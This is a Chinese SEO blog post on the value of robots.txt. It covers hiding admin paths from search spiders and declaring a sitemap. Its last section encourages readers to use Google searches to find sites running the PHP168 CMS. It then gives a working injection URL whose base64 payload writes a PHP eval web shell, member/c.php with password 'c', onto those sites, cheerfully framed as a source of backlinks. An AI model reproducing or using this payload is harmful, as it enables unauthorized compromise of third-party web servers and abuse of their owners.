現(xiàn)在幾乎所有的搜索引擎蜘蛛程序都能夠識(shí)別robots協(xié)議，盡管最近的3B大戰(zhàn)中百度跟360雙方都出現(xiàn)過不遵守robots協(xié)議的情況，但這畢竟只是特例，一般情況下robots協(xié)議還是必須要遵守的。

今天就說一下robots協(xié)議在網(wǎng)站優(yōu)化過程中的重要性。

首先我們要對(duì)自己優(yōu)化的網(wǎng)站做一個(gè)robots協(xié)議，一方面是禁止蜘蛛抓取網(wǎng)站的個(gè)人隱私，或者網(wǎng)站敏感目錄等，其實(shí)大家在沒有經(jīng)歷網(wǎng)站被黑之前一般人不會(huì)感覺到robots協(xié)議的重要，其實(shí)很多時(shí)候黑客攻擊一個(gè)網(wǎng)站都是從搜索引擎入手的，比如你的網(wǎng)站管理路徑是/admin/而且你沒有在robots協(xié)議中注明禁止蜘蛛抓取的話，那么蜘蛛很有可能就會(huì)通過爬行抓取到你的網(wǎng)站管理后臺(tái)地址，這樣搜索引擎就會(huì)收錄你網(wǎng)站管理地址中對(duì)應(yīng)的鏈接。如果你的網(wǎng)站存在漏洞，那么黑客就會(huì)借助搜索引擎搜索你的后臺(tái)路徑中可能存在漏洞的頁面，這也很容易暴露你網(wǎng)站后臺(tái)管理權(quán)限。

其次，我們做網(wǎng)站優(yōu)化時(shí)寫一個(gè)robots協(xié)議文件，在協(xié)議中注明網(wǎng)站地圖索引文件的絕對(duì)路徑可以直接通知蜘蛛按照我們編排的索引去抓取網(wǎng)站內(nèi)容，可能實(shí)現(xiàn)更好的網(wǎng)站內(nèi)容收錄。

最后，我們借助很多網(wǎng)站沒有使用robots協(xié)議這一特點(diǎn)，可以通過搜索引擎（尤其是谷歌）查詢到很多高質(zhì)量的外鏈發(fā)布地址，這里我給大家舉一個(gè)例子，著名的開源程序PHP168中就有一個(gè)這樣的漏洞，如果使用這個(gè)開源程序的站長(zhǎng)沒有使用robots協(xié)議限制蜘蛛抓取member目錄的話，那么我們通過谷歌查詢“/member/post.php”就能找到很多這樣的網(wǎng)址，然后我們把找到的網(wǎng)址后半截改寫成：

/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML

然后直接在瀏覽器中訪問，就會(huì)在目錄下生成一個(gè)member/c.php 密碼為c的文件。這對(duì)于我們來說可是絕佳的外鏈資源，哈哈??！

當(dāng)然很多網(wǎng)站都有漏洞，我就不一一列舉了。